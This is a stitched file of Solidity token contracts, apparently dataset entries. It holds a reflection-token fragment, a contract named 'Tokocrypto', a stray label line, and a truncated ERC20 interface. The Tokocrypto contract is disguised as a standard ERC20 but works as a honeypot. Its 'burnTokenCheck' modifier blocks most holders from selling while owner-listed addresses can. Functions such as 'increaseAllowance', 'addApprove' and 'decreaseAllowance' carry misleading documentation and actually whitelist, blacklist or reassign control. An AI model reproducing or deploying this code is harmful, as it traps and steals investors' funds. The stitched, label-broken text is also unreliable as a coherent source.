swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
// add the marketing wallet
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingshare = newBalance.mul(75).div(100);
payable(marketingWallet).transfer(marketingshare);
newBalance -= marketingshare;
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
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/**
*Submitted for verification at Etherscan.io on 2021-04-07
*/
pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Tokocrypto is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-08
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
